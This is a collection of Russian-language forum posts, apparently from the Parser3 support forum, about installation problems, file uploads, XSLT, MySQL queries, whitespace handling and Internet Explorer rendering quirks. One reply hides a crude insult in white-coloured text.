2. все последующие обращения к сайту приводят к сообщению 'parser3/auto.p' read failed\
\
причина достаточно проста: путь к ParserConfig был задан относительный - parser3/auto.p, а \"перез запуском программы Parser изменяет текущий каталог на каталог с программой\" (цитата из документации). Насколько я понял, изменять он изменяет, а вот обратно - нафик надо?\
\
Решение - указать абсолютный путь к ParserConfig"
"31592","спасибо за исчерпывающее сообщение.\
\
из исходника убита одна строчка."
"31593","Если кому-нибудь несложно, подскажите решение. Задача - загрузка бинарных файлов. В $request:body получаем бинарник image.gif, Content-length задан. Парсер не умеет сохранять бинарные данные из request:body. Видимо нужно использовать perl, ^file::exec[save.pl;$.stdin[$request:body]]. Вопрос - текст скрипта Perl, который сохранит даные в binary.\
Код \
open(FILE, \"> $path\") or die $!;\
binmode(GIF); binmode(STDIN);\
read(STDIN, $buff, $ENV{'CONTENT_LENGTH'});\
print FILE $buff; close(FILE);\
не работает. \
\
Очень буду признателен за ответ или предложение, как другим путем сохранить POST binary, зная CONTENT-LENGTH. Задать правильный формат в POST-запросе и использовать ^form:name.save[binary;...] по ряду причин затруднительно."
"31594","Я способа придумать не смог."
"31595","if конечно есть, там много чего есть.\
\
Как реализовать?\
Построить Парсером дерево, затем натравить на него xsl."
"31597","Вот тут задумался, как более правильно написать такой вот класс:\
\
@image[]\
<img src=\"/...\" width=\"55\" height=\"44\">\
\
или \
\
@image[]\
$result[<img src=\"/...\" width=\"55\" height=\"44\">]\
\
И ещё один вопросик: Если у меня в одном документе почти подряд дважды вызывается один и то же класс: ^use[/class.p] - займёт ли это больше памяти?\
\
Спасибо"
"31598","Уважаемый, какой смысл объяснять подробнее если Вы не готовы понимать?\
\
Ознакомьтесь с матчастью. Никакие электронные пособия тут не помогут, за исключением документации.\
Купите книжку о XSLT и садитесь за создание меню.\
Не надо просто читать книжку, без применения ничего не поймёте.\
\
По сути вопроса: Вам надо построить \"дерево\" разделов вида:\
[code]\
<navigation>\
<section name=\"...\" url=\"...\"/>\
<section name=\"...\" url=\"...\"/>\
...\
</navigation>\
[/code]\
\
Можно конечно дерево и не строить, а использовать список разделов, но тогда шаблон будет сложнее.\
Хотя, если нужно простое меню - достаточно списка, как я привёл.\
Это набросок, хотите отображения активного раздела и раздела, в котором находитесь – подумайте, как это можно просто сделать с помощью атрибутов.\
\
А дальше пишите xsl шаблон и трансформируйте дерево, как душе угодно.\
Тут я строил дерево: http://www.parser.ru/forum/?id=31093\
Тут умные люди строили: http://www.parser.ru/examples/trees/\
И поиск по слову xsl никто не отменял."
"31599","Метод:\
[code]\
@image[]\
<img src=\"/...\" width=\"55\" height=\"44\">\
[/code]\
\
Использование $result[] даёт аозможность отсечь лишние невидимые симво перевод, возврат коретки"
"31600","+ не забыть, что может быть 4 пункта, тогда после menu надо будет дорисовать несколько пустых <td />"
"31604","Текущий каталог /admin/\
\
Выполняется такой код, где $xslAddSite объект xdoc\
с загруженным xsl-документом:\
\
$xmlPage[^xdoc::create[/]{$xmlPage}]\
$xmlPage[^xmlPage.transform[$xslAddSite]]\
$xmlPage[^xmlPage.transform[template.xsl]]\
^xmlPage.string[]\
\
Файл template.xsl следующего содержания:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:import href=\"common.xsl\"/>\
<xsl:import href=\"events.xsl\"/>\
<xsl:output method=\"html\" doctype-public=\"-//W3C//DTD HTML 4.0 Transitional//EN\"/>\
\
<xsl:template match=\"Body\">... дальше не имеет смысла приводить.\
\
Парсер останавливается на строке 3 в template.xsl с такой ошибкой:\
\
failed to load external entity \"w:///home/kinolux3/www/admin/common.xsl\"\
compilation error: file w:/home/kinolux3/www/admin/admin.xsl\
line 3 element import xsl:import :\
unable to load w:///home/kinolux3/www/admin/common.xsl \
\
То есть не может найти common.xsl, который находится в корне \
и для его нахождения был мной задан базовый путь в $xmlPage.\
\
Исправляю строку 3 на ../common.xsl и файл тут же находится.\
\
Вопрос: почему базовый путь никак не влияет на обработку файла?\
Где моя ошибка?"
"31605","Парсер выдает: exception in request exception handler: Exception 0xC00000FD at 0x100072DD\
\
Код такой:\
\
<xsl:template match=\"Main/Article\">\
	<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"paragraphs\">\
		<tr>\
			<td width=\"60\" height=\"25\" bgcolor=\"#000000\"></td>\
			<td height=\"25\">\
				<xsl:choose>\
					<xsl:when test=\"Title\"><h1><xsl:value-of select=\"Title\"/></h1></xsl:when>\
					<xsl:otherwise><h1><xsl:value-of select=\"/Page/Title\"/></h1></xsl:otherwise>\
				</xsl:choose>\
			</td>\
		</tr>\
		<tr>\
			<td width=\"60\" valign=\"top\"></td>\
			<td valign=\"top\"><xsl:apply-templates select=\".\"/></td>\
		</tr>\
	</table>\
</xsl:template>\
\
Он нормально работает, если последний вызов шаблона <xsl:apply-templates select=\".\"/> заменить на <xsl:apply-templates/>\
\
В чем моя ошибка?"
"31607","Более того, когда переносили все на новый сервер с новыми настройками - помогли настроить все под новый сервер правильно. Работает все замечательно."
"31608","Ставил обычный вариант. ^mail.send работает зашибись."
"31610","ждите телепатов."
"31611","переслал файлы. Там их много. Так как не знаю где может быть вообще ошибка быть. \
\
А тут непонятки в этом месте. Вроде и тот и другой коды с точки зрения XML-XSL верны. Почему Парсер так странно ведет?"
"31612","и спросил: исправили-ли вы там [url=\"/forum/?id=31533\"]ошибку[/url]\
\
не знаю как вы, но я там ошибку вижу. ошибку вида: \"не читан FAQ\" (кстати двоеточия, про которое вы говорили я там не вижу, а вижу [b]точку с запятой[/b]). словам \"исправил\" я не верю, верю приводимому коду. к почте ПАФ-а доступа не имею.\
\
P.S. знаю, что код не должен падать так, и именно это хочет воспроизвести/пофиксить ПАФ, но суть ошибки согласно её названию: \"ошибка в обработчике ошибок\". т.е. код вашего обработчика ошибок сам содержит ошибки."
"31613","опции $xmlPage, это опции [b]только на этого[/b] документа.\
документ template.xsl, это отдельный мир.\
\
ссылаться из\
  /subdir/template.xsl:\
на\
  /common.xsl\
при помощи\
  ../common.xsl\
=хорошо и всем понятно."
"31614","мне туча файлов нужна только, если можно сделать\
unzip в веб пространство\
и обратиться к index.html без опций.\
\
файлы пока не пришли, проверьте, что в заголовке вы указали \"parser\", иначе мог под горячую руку стереть."
"31615","не могу сообразить - как проверить, что мне заливают в аплоад - мне надо послать нафиг, если это не ZIP-архив"
"31616","[code]^file:justext[$form:file.name][/code]\
\
проверить имя до того, как весь файл вольётся можно, но сейчас это не реализовано.\
\
напишите красными буквами сверху :)"
"31617","тогдпа уточню - будет ли нормальным такой вариант:\
файл залит\
проверка сказала - не ZIP\
файл стерт с винта + юзверю ушло на экран \"не фиг заливать фигню!\"\
такое сильно нагрузит сервак? и вообще нормально ли это?"
"31618","У меня по прежнему проблема у становкой парсера на ValueHost\
\
Скопировал parser3.cgi, библиотеки и файлы для FreeBSD в cgi-bin.\
в настройка сервера указал папку htdocs и поставил галки\
-разрешить запуск CGI скриптов из этой папки\
-Allow Override\
\
Набираю в броузере сайт/cgi-bin/parser3.cgi и вижу 500\
На страницах сайта тоже самое.\
\
Помогите."
"31619","установить бит \"выполняемый\" на скрипт. это делается в ftp клиенте.\
\
и, пожалуйста, перед следующим вопросом прочтите FAQ по установке. там есть и этот мой ответ и ряд других."
"31620","В контрольной панели ValueHost выделяю файл parser3.cgi\
Иду:\
Выберите действие > Сменить атрибуты > Execute/All > save\
выдает ошибку\
  Cannot chmod parser3.cgi\
Что делать?"
"31621","что в договоре написано?\
\
(вопросы риторические)"
"31622","Пишет в файл всё равно с табуляцией :(((\
Стоит парсер 3.1.3 CGI c XML под апач"
"31623","парсер стоит под винды кстати!"
"31626","Подскажите, пожалуйста, в чем может быть дело,\
раньше все работало, а теперь нет, ума не приложу\
что не так...\
\
Вот такой код:\
\
[code]<form method=\"post\" enctype=\"multipart/form-data\" name=\"img\">\
<input type=\"file\" name=\"photo\">\
<input type=\"submit\" value=\"Сохранить\">\
</form>\
\
^if(def $form:photo){\
		$ras[^file:justext[$form:photo.name]]\
		^form:photo.save[binary;/1/1.$ras]\
}[/code]\
\
вызывает ошибку:\
\
[b]string method not found[/b]\
[b]name[/b]\
\
[b]exception.type=parser.runtime[/b]"
"31627","Ищите ошибку в другом месте."
"31628","[code]\
	<fieldset><legend>Как раз эта форма</legend>\
	<table>\
	<form method=\"post\" enctype=\"multipart/form-data\" name=\"img\">\
	<tbody>\
	<tr>\
	   <td>\
		<input type=\"file\" name=\"photo\">\
	   </td>\
	<tr>\
	   <td>\
		<input type=\"submit\" value=\"Сохранить\">\
	   </td>\
	</tbody>\
	</form>\
	</table>\
	</fieldset>\
\
^if(def $form:photo){\
  ^try{\
    $photo[^image::measure[$form:photo]]\
  }{\
     ^if($exception.type eq image.format){\
        $exception.handled(1)\
         Неверный формат,\
         <pre>$exception.comment</pre>\
   }\
}\
$width($photo.width)  \
$height($photo.height)\
^if($width <= 200 && $height <= 200){\
^if(-d \"/1\"){\
	$table[^file:list[/1/]]\
	^if(def $table){\
		^table.menu{\
			^file:delete[/1/${table.name}]\
		}\
	}   \
}\
############ Сохранение изображения\
	$ras[^file:justext[$form:photo.name]]\
	^form:photo.save[binary;/1/1.$ras]\
\
				$response:refresh[\
   				$.value[0]\
   				$.url[/authors/admin/?name=$auth_table.au_eng&function=pas]\
				]\
}\
}\
[/code]\
"
"31629","Никак не выходит,\
если же в код в пред. сообщении\
исправить так(изменить две строчки):\
[code]\
#######	$ras[^file:justext[$form:photo.name]]\
#######	^form:photo.save[binary;/1/1.$ras]\
\
^form:photo.save[binary;/1/1.jpg]\
[/code]\
\
То вылетает такая ошибка:\
\
[b]unknown mode, must be 'append'[/b]\
[b]binary[/b]\
\
[b]exception.type=parser.runtime[/b]\
\
...?"
"31630","может тут кто уже зашустрил и сделал небольшой скриптик на parsere для того что бы в ослике показывалась прозрачность у всеми любимого PNG?"
"31631","Мне бы хотелось пожаловаться на удобность использования парсера. Я могу с твёрдой уверенностью заявить, что по умолчанию ничего не работает. \
\
Инструкции по установке оставляют желать лучшего... После разархивации исходников парсера приходится всё переименовывать. После установки парсер выдаёт ошибку\
[code]\
/libexec/ld-elf.so.1: Shared object \"libgc.so.1\" not found\
[/code]\
не смотря на то, что это штука была установлена в соответствии с инструкциями в один из пользовательских каталогов (а надо в /usr/local/lib). \
\
После этого ожидает сюрприз с _test.html: \
[code]\
[Thu Jul 29 17:07:59 2004] /_test.html: /usr/local/www/data/_test.html(262:47): \
'upper' change_case_UTF8 error: end pointers do not match [<no type>]\
[/code]\
\
После ручного \"cp bin/auto.p.dist bin/auto.p\", опять выдаются ошибки (их приводить нет никакого смысла, знающие люди и так догадаются). Поправив \
[code]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
[/code]\
на\
[code]\
$charsetsdir[$confdir/../etc/parser3.charsets]\
$sqldriversdir[$confdir/../lib]\
[/code]\
_test.html опять выдаёт ошибки: теперь не найдер /usr/local/lib/mysql/libmysqlclient.so, который, как могу заметить, вполне существует: \
[code]\
# ll /usr/local/lib/mysql/libmysqlclient.so\
lrwxrwxrwx  1 root  wheel  20 21 May 00:50 /usr/local/lib/mysql/libmysqlclient.so -> libmysqlclient.so.12\
[/code]\
\
[quote]И это только начало![/quote]\
\
Искренне жаль, что за всё это время никто так и не удосужился проверить инструкции с нуля, и придти к факту, что ничего не работает. :-( И самое главное -- суть этого сообщения будет опять проигнорирована, уже в который раз. А ведь всё это исправить -- пара пустяков для активных разработчиков (читай для PAF'а). Да, это потребует какого-то времени (пару часов), но не считаете ли Вы, что оно будет потрачено для полезного дела? Или Вас совершенно не волнует время пользователей потраченное впустую? \
\
С уважением, \
Константин."
"31632","_test.html выдаёт ошибку \
[quote]\
Работа с SQL\
\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера.\
Сообщение об ошибке:\
\
    can't open the module\
    $sqldriversdir/libparser3mysql.so \
[/quote]\
\
При этом в начале того же самого _test.html написано:\
[quote]\
$SQL:\
mysql	$sqldriversdir/libparser3mysql.so (90723 байт)	/usr/local/lib/mysql/libmysqlclient.so (не найден)\
[/quote]\
Могу заметить, что libmysqlclient.so также существует:\
# ll /usr/local/lib/mysql/libmysqlclient.so\
lrwxrwxrwx  1 root  wheel  20 21 May 00:50 /usr/local/lib/mysql/libmysqlclient.so -> libmysqlclient.so.12\
\
Пробовал указывать полный путь к libparser3mysql.so, не помогает. \
\
ПО:\
FreeBSD 5.2.1\
Apache 2.0.48\
MySQL 4.0.16\
Parser 3.1.3 (перекачены исходники из раздела \"скачать\")\
GCC 3.3.3 [FreeBSD] 20031106"
"31633","Если нужно решение задачи, детально проработайте всплывающее окошко на http://www.yandex.ru с паролем и логином. \
Особенно хочу обратить ваше внимание на отбрасывемую им тень."
"31634","Скарее всего у вас дефолты стоят какие-то не разумные.\
\
Я заливаю все на сервак в папку /cgi-bin/ и кодировки, и библиотеку для MySQL меняю в главном auto.p всего 2 строчки.\
\
1. Кодировку, если она не windows-1251.\
2. Строку подключения к MySQL.\
\
Копирую в /htdocs/ файл .htaccess и все. Можно работать. Файл теста тоже запускается с первого раза.\
\
Так что скорее всего дело не в доке, а в хотелках вашего администратора не любить дефолтные настройки. Пусть читает http://www.opennet.ru, и будет ему счастье."
"31635","я говорил про собрание парсера из исходных кодов"
"31636","Поздравляю всех с этим великим праздником.\
Желаю всем удачных коннектов, надежного железа, \
и поменьше вирей, поменьше всяческих проблемм."
"31637","странно, а как у меня оба сисадмина собирают нормально из исходников?\
причем на время уже. оба не предпочитают Perl, но на сборку-запуск-тестирование уходит уже меньше 20 минут, это с учетом \"сходить чай выпить/перекурить/мыло проверить\"\
\
правда был баг на днях - секурити-патч лдя Апача снес мне кодировки, но вылечилось меньше чем за минуту.\
\
ИМХО всеж Евгений прав - дело в админах - я своих тоже сначала долго пинал и спрашивал: как для других платформ собирают за полчаса, а у нас по 4 часа уходит."
"31638","а auto.p нет вообще. \
\
Когда Вы устанавливаете Apache с нуля, Вам приходиться вручную копировать httpd.conf-dist в httpd.conf, а потом опять же вручную править пути в httpd.conf, несмотря на то, что вы выбрали установку по умолчанию? Мне нет. "
"31639","самое главное -- пожелать хороших юзверей. ;-)"
"31640","1. А откуда ld-elf узнает, что libgc установлена в \"какой-то пользовательский каталог\", если этого каталога нет в lib-путях? И если хотите большей переносимости - собирайте статически.\
\
2. Положить все по местам согласно документации - проблема небольшая. Надо только доку по установке прочитать.\
\
3. Ой, какие права интересные на libmysqlclient.so ;-)"
"31642","лезть сюда http://cvsview.parser.ru/ за исходниками и пересобирать самому из них парсер без бага?\
\
просто я этого честно говоря никогда не делал, да и в фак-е и на форуме полезных пошаговых инструкций для начинающих не нашёл :(\
Хотя может быть по форуму просто плохо искал.\
Я думаю, было бы полезно поместить инфу в фак о том, как пользоваться CVS, чтобы народ типа меня не надоедал подобными вопросами.\
\
и ещё вопрос: баг был только под виндовую версию или и под линукс и фрюху тоже?"
"31643","Это все понятно, есть такая фитча, но вот что бы сам код написан был на парсере, я думаю многие отказались от pngbehavior, ибо он грузит всю страницу, типа пробует проматать все рисунки на png, тем самым сильно грузит страницу."
"31644","суть: ошибки внутри @unhandled_exception handlers приводили на win32 к сообщению о \"системном\" exception.\
\
это исправлено.\
также удалось сообщить подробно и в случае отсутствия @unhandled\
и в случае ошибки внутри самого @unhandled"
"31646","А у симлинков всегда такие права :)\
Так и должно быть.\
Например:\
[code]\
lrwxrwxrwx    1 root     root           13 Ноя 29  2002 awk -> /usr/bin/mawk*\
lrwxrwxrwx    1 root     root           29 Ноя 29  2002 awk.1.gz -> /usr/share/man/man1/mawk.1.gz\
[/code]"
"31648","[code]-rwxr-xr-x   1 root  staff   368232  1 Dec  2003 libmysqlclient.10.0.0.dylib\
lrwxr-xr-x   1 root  staff       27  1 Dec  2003 libmysqlclient.10.dylib -> libmysqlclient.10.0.0.dylib\
lrwxr-xr-x   1 root  staff       27  1 Dec  2003 libmysqlclient.dylib -> libmysqlclient.10.0.0.dylib\
[/code]"
"31650","Не, баг только под Win, под, например, HP-UX его нет :).\
\
А если серьезно, - качни СVS отсюда, и далее\
[code]\
cvs -d:pserver:anonymous@cvs.parser.ru:/parser3project login\
[/code]\
Пароль пустой, и далее\
[code]\
cvs -d:pserver:anonymous@cvs.parser.ru:/parser3project get parser3\
cvs -d:pserver:anonymous@cvs.parser.ru:/parser3project get win32\
cvs -d:pserver:anonymous@cvs.parser.ru:/parser3project get sql\
[/code]\
И далее нужен VS .NET 2003 для сборки, 2002 тоже подойдет, но нужно будет руками поковырять все .sln файлы."
"31651","пытаюсь вывести через макрос неотформатированный текст (JavaScript для банера SpyLog), там много знаков \";\" вот как бы их вывести не предваряя каждый знаком \"^\", пытался через taint, но он не понимает. Можно было-бы вынести JScript в отдельный файл и подключить потом, но дело в том что там не один блок <SCRIPT> Подскажите наиболее удобный способ как это реализовать"
"31652","я делаю сортировку в таблице по имени\
\
^films.sort{$films.name} \
но плучаю какойто глюк с букво Б\
\
28 дней спустя    \
40 дней 40 ночей  \
Блэйд 1           !!!!!!!!\
Джейсон X   \
Четыре комнаты\
Чудаки (MTV) \
Без чувств   !!!!!!!!!!! \
Блэйд 2        !!!!!!!!!!\
Эффект бабочки"
"31654","Всё из-за того что в начале названия попал пробел!"
"31655","Дак так и пытался сделать\
\
@banner[]\
<SCRIPT language=\"javascript\"><!--\
Mu=\"u5693.34.spylog.com\";Md=document;Mnv=navigator;Mp=0;\
Md.cookie=\"b=b\";Mc=0;if(Md.cookie)Mc=1;Mrn=Math.random();\
и так далее...\
\
пока пришел к такому решению (корявое какое то):\
\
@banner[]\
$file[^file::load[text;/spylog.js]]\
ну и дальше ^untaint{$file.text}\
\
и еще один вопрос\
@spacer[width;height]\
<img src=\"spacer.gif\" width=\"$width\" height=\"$height\">\
\
если вставлять вот так\
<TD>^spacer[1;5]</TD>\
\
ставит разрыв строки перед </TD>, IE соотвественно тоже разрыв в ячейке таблицы ставит, как этого избежать?"
"31657","[code]\
$companies[^table::load[companies.csv;\
   ...\
\
#  $.trim[1]\
]]\
[/code]\
хотя, может оно тут и лишнее...\
\
P.S. а вот \"patch -u\" я делать не умею, ежели что ;)\
P.P.S. автору треда: в вашем случае наверное можно ^films.sort{^films.name.trim[]}"
"31658","прочитал, осознал, не понял как работает\
берем:\
\
@address[]\
$result[Адрес какой-нибудь]\
\
@page[]\
$result[<TABLE>\
<TR>\
  <TD>^address[]</TD>\
</TABLE>]\
\
в итоге получаем\
\
<TABLE>\
<TR>\
<TD>Адрес какой-нибудь</TD>(два пробела)</TR>\
</TABLE>\
\
зачем </TR> парсер перенес на строчку выше и два пробела вставил?\
\
З.Ы. Я извиняюсь за дурацкие вопросы конечно, только недавно начал с парсером разбираться, но честно говоря такое его поведение меня настораживает"
"31659","http://www.webcode.ru/cgi/png/\
\
думаю особого труда под Парсер переписать не составит:)"
"31660","- по умолчанию у парсера включена оптимизация пробельных символов, и два пробельных символа подряд в броузер посетителя в принципе выдаться не могут (если её не отключать конечно)\
- в вашем коде нету </TR>, а парсер сам его не придумывает. есть подозрение что там-же у вас и стоят эти пробельные символы.\
\
а вообще наличие лишних пробелов для html критично лишь в некотороых местах, именно в них рекомендуется использовать $result[] (при условии что не отключена whitespace оптимизация, в противном случае наличии к конечном html XYZ килобайт пробелов не есть гуд)"
"31661","дык мне надо не столько расширение проверить, сколько MIME-type\
но я уже въехал как."
"31662","Помогие решить проблему отправки почты с ValueHost'а.\
^mail:send не отсылает,\
а в логах пишет что ошибка незвестна."
"31663","1. А откуда я узнаю, что libgc нужен и после сборки? В инструкциях ясно написано, что устанавливать нужно в пользовательский каталог \"$HOME/gc\". Вы, наверное, сами инструкции не читали. ;-)\
\
2. Читал. Оказалось, что нужно было читать между строк. \
\
3. Спасибо Виктору за защиту. ;-)"
"31664","это кто это тебе сказал что у симлинков всегда 777? Дайте мне его, я разорву ... :)"
"31665","Ну Виктор неправ это раз. И читать между строк не нужно, это два. Нужно следовать строго по инструкции и все, и будет вам счастье.\
\
Внимательное прочтение этого куска:\
[quote]\
  First, you must have LIBGC installed (conservative garbage collector for C++).\
      libgc >= 6.1 [http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.1.tar.gz]\
    \
    Installation sequence of this library to $HOME/gc:\
\
    cd libgc-x.x\
    ./configure --prefix=$HOME/gc --disable-threads --silent\
    make install\
\
    Then you can use these Parser3 configure options to specify the location and static/dynamic linkage with libgc:\
        --with-static-gc=$HOME/gc/lib\
        --with-shared-gc=$HOME/gc/lib\
[/quote]\
позволяет нормальному человеку сделать все как надо. Если читать наискосок, ясен пень можно напороть много чего. Да, а этот пост можно читать между строк :) [color=\"white\"]Проще говоря, - не надо ебать мозги джентельменам из-за всякой хуйни. И тем более поднимать эту панику.[/color]"
"31666","sub png{\
   my $src = shift;\
   my $ua = $ENV{'HTTP_USER_AGENT'};\
   if ($ua =~ /msie/i && $ua !~ /opera/i){\
      return 'src=\"n.gif\" style=\"filter: '.\
             'progid:DXImageTransform.Microsoft.AlphaImageLoader '.\
             '(src=\\''.$src.\"');\\\"\";\
   }\
   else{\
      return \"src=\\\"$src\\\"\";\
   }\
}\
\
это типа для png\
исходник вообще тут http://www.webcode.ru/cgi/png/\
\
Потом автор говорит типа прописывать рисунки так\
<img width=\"150\" height=\"150\" `png (file.png) />\
В парсере потом точно так же?"
"31667","почему?\
представьте 2 пользователя за прокси.\
пришел первый (например с Mozilla), послал запрос, сервер отдал ответ для Mozilla, который запомнился проксей...\
пришел второй (с IE), послал запрос проксе, та ему отдала код сгенеренный для Mozilla...\
\
как вы думаете, чтраничка хорошо отобразится в IE?"
"31668","как лучьше всего тогда сделать скрипт который обробатывал бы png для ie. Только не говорите что при помощи этого бехеватора..."
"31669","есть код:\
[code]\
$rep[^table::create{from	to\
^taint[^#0A]^taint[^#0A]	</p><p>\
^taint[^#0A]	<br>\
[i]	<i>\
[/i]	</i>}]\
$2txt[^1txt.replace[$rep]]\
[/code]\
все нормально пашет, за одним исключением: если внутри абзаца сделать перенос строки и в начале следующей строки поставить псевдо-тег курсива - куда-то пропадает перенос строки."
"31670","Это конечно же опечатка, </TR> должен быть перед </TABLE> отдельной строкой"
"31671","Есть таблицы:\
\
group:\
	group_id\
	title\
	type\
	\
item:\
	item_id\
	title\
	group_id\
	\
Нужно удалить все группы, где, например, group.type=3. Но до этого надо удалить все item'ы, принадлежащие этим группам.\
Возможно ли удалить в MySQL все эти item'ы одним запросом?\
\
Вариант в лоб, что работает сейчас:\
\
[code]\
$grps[^table::sql{SELECT group_id FROM group WHERE type=3}]\
^void:sql{DELETE FROM item WHERE group_id IN (^grps.menu{$grps.group_id}[, ])}\
^void:sql{DELETE FROM group WHERE type=3}\
[/code]\
\
Надо тоже самое, но без первого запроса ;-)\
Заранее спасибо"
"31673","Народ есть такой код:\
      <table>\
        <FORM ACTION=\"email.php\" METHOD=\"POST\">\
          <tr> \
            <td width=\"200\">Ваше имя: <br> <INPUT TYPE=\"text\" NAME=\"name\" class=\"form\" maxlength=\"30\" size=\"20\"></td>\
            <td width=\"200\">ICQ:<br> <INPUT TYPE=\"text\" NAME=\"icq\" class=\"form\" maxlength=\"30\" size=\"20\"></td>\
          </tr>\
          <tr> \
            <td>Ник персонажа:<br> <INPUT TYPE=\"text\" NAME=\"nick\" class=\"form\" ></td>\
            <td>Ваш e-mail:<br> <INPUT TYPE=\"text\" NAME=\"email\" class=\"form\"></td>\
          <tr> \
            <td>Дата рождения:<br> <INPUT TYPE=\"text\" NAME=\"birthday\" class=\"form\"></td>\
            <td>Интернет соединение:<br> <INPUT TYPE=\"text\" NAME=\"inet\" class=\"form\"></td>\
          <tr> \
</FORM>\
      </TABLE>\
\
Ну это не весь... короче фишка в том, что поля заполнения \"неактивны\". Чтоб в них написать нужно попасть в самый левый край поля и только так... Должно быть поле все активно куда-нить на них ткнул и пошел писать, а тут пока в это край *** попадешь... кто что может сказать?!"
"31675","ещё в далёком 2002 году сделал иконку для парсерных файлов, под XP (48x48...16x16):\
\
[url=\"http://www.nbsp.ru/files/Parser.ico\"]загрузить[/url] (сделайте \"save as\")"
"31676","При \
[b]отключенных cookie у пользователя[/b]\
они все равно записываются, но,\
сессионная кука в этом случае\
стирается если странца\
перезагрузиться таким образом:\
[code]\
$response:refresh[\
	$.value[0]\
	$.url[/path/to/]\
	]\
[/code]\
, а во всех остальных\
случаях прекрасно запис. и чит.\
\
Обычные cookie (90 дней),\
исчезают при переходе на\
другую страницу, а \
[code]$response:refresh[/code]\
их не берет, и в остальных\
случаях они тоже записываются\
и читаются....\
\
Делаю вывод, что если\
не использовать\
в коде [code]$response:refresh[/code],\
то сессионные cookie\
[b]будут работать при любых\
обстоятельствах[/b].\
\
Пожалуйста, поправьте меня,\
если я не прав."
"31677","А мне она не нравится ;)"
"31679","...только вот обидно, что только для ХР :(\
\
может быть не затруднит сделать тоже самое для остальных виндовсов?"
"31681","...не усовершенствовать spacer? Такой метод использую я:\
\
[code]\
@spacer[width;height]\
<img src=\"/i/spacer.gif\" width=\"^if(def $width){$width}{1}\" height=\"^if(def $height){$height}{1}\" alt=\"\" border=\"0\">\
[/code]\
\
Тогда не обязательно будет указывать ширину/высоту, она по умолчанию будет ставиться равной единице. Например такой вызов:\
\
[code]^spacer[;30][/code]\
\
Вернет такую вот картинку:\
\
[code]<img src=\"/i/spacer.gif\" width=\"1\" height=\"30\" alt=\"\" border=\"0\">[/code]"
"31682","если 3.xx то только так, если 4.xx то [url=\"http://dev.mysql.com/doc/mysql/ru/DELETE.html\"]так[/url]:\
[code]\
DELETE\
	group,\
	item\
FROM\
	group,\
	item\
WHERE\
	item.group_id = group.group_id AND\
	group.type = 3\
[/code]"
"31683","если куки выключены, то не работают никакие куки, при этом фича парсера (что кука доступна сразу после записи) даже мещает, т.к. кука не будет записана."
"31685","Случайно узнал об Parsere решил опробовать технологию. Использую help скачаный с сайта путем переноса чечрез буфер и в редактор, в результате должна получится страничка с адрессами, а получаю на екране исходный код. Програму я проверял, Parser установленый правильно.\
Help Help Help Help"
"31686","parser установлен неправильно."
"31687","Подскажите пожалуйста с какими ключами собиралась версия parser3_1_3_freebsd49R_cgi.tar.gz, а то у меня что-то меньше 4 мегов не получается :)"
"31689","Добрый день, вот уж с пол года я слежу за развитием проекта. Отлично – просто и относительно легко, но нет очень важной детали – рисайза и кропа для изображений (с определением координат и области – как методы рисования), а ведь с этими инструментами действительно легко было бы сделать и новостной блок, и фото галлерею, и много еще чего. Вот, хотел просто спросить, планируется ли реализация этих функций?"
"31690","сделать тривиально.\
библиотека libgd с поддержкой jpg, png, и прочего давно доступна.\
\
приму patch."
"31692","а если это сделать просто, то это здорово. Мы (кодеры-оптимизаторы) ждем этого с нетерпением."
"31693","будет нескоро: когда Студии надоест использовать внешний скрипт из imagemagic.\
\
учтите: у нас этот подход успешно используется из проекта в проект = надоест нам не скоро."
"31694","у меня нет реальной возможности помочь - навыки и опыт не тот. Я спорить не буду, и в полемику удоряться не буду, но если проект задумывался как:\"..технология создания сайтов с помощью простого языка. Он немного сложнее HTML, но не требует особенного умения программировать\" и :\"На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.\" ....\
Решать вам\
\
Я пишу и предлагаю идеи, как человек которому нравится идея динамического веб-программирования, а не программирования для веб."
"31695","http://www.bougakov.com/devel/download/parser_demo_website_setup.exe [i](4,8 Mb, пока ещё бетаверсия, но уже не сырая)[/i].\
\
запустите, установите, запустите установленное.\
\
Откройте в браузере http://127.0.0.1/examples/lesson1/\
\
Начинайте изучать, как оно работает."
"31696","пользуйтесь поиском по форуму."
"31697","Подскажите, пожалуйста, возможно ли в парсере загрузить страницу с удаленного сервера, заполнить в ней некоторые поля, \"нажать\" на кнопку Сабмит и выдать следующую после подверждения формы страницы в качестве результата работы скрипта на Парсер?\
Спасибо за ответ"
"31700","В разделе \"Скачать\" напротив файлов стоят иконки, возможно их разместить на сайте в формате *.ico чтобы потом ассоциировать с *.p *.cfg файлами для простоты их распознавания?"
"31701","создается новый пустой DIV, пусть даже с однопиксельной картинкой внутри, и вместо того, что бы отобразить его высотой 1px, IE делает его высотой 22px (Opera и Mozilla все отображают правильно). происходит это не всегда, но за последнее время сталкиваюсь с этим уже второй раз.\
выход нашел, но он не особо логичен: IE почему то кажется что внутри DIV-а есть какой-то текст, вот он его под этот текст и ратягивает, соответственной ставим \"font-size: 1px;\" и все становится на свои места.\
для полноты картины привожу кусочки html и css: \
DIV.mnu DIV.item DIV.brd {\
	background: #094CBA url(img/mnu-top-brd.gif) no-repeat left top;\
	height: 11px;\
	font-size: 1px;\
}\
\
\
				<div class=\"mnu\">\
					<div class=\"item\">\
						<div class=\"brd\"><img width=\"1\" height=\"11\" alt=\"\" title=\"\"></div>\
					</div>\
				</div>"
"31703","там ни прибела, ни переноса строки, нет вообще ничего!!! IE растягивает даже такую конструкцию:\
<div class=\"brd\"></div>"
"31705","вообще подозрительные вещи творятся с этим ослом ((( такое ощущение что этот глюк появляется в зависимости от кода в других частях страницы...\
\
еще одна вариация данного глюка:\
\
<div><img></div>\
\
у дивчика есть padding сверху, но картинка не прилипает кверху (даже с учетом этого паддинга), выделяем картинки курсором и видим, у них откуда то взялись отступы!!! смотрю в фотошопе -- так и есть: те же самые 22px, начинаю поэтапно удалять весь остальной код на странице и в файле стилей, оказывается все из-за того, что у дивчика стояло: \"vertical-align: top\"!!! мистика какая-то!!!"
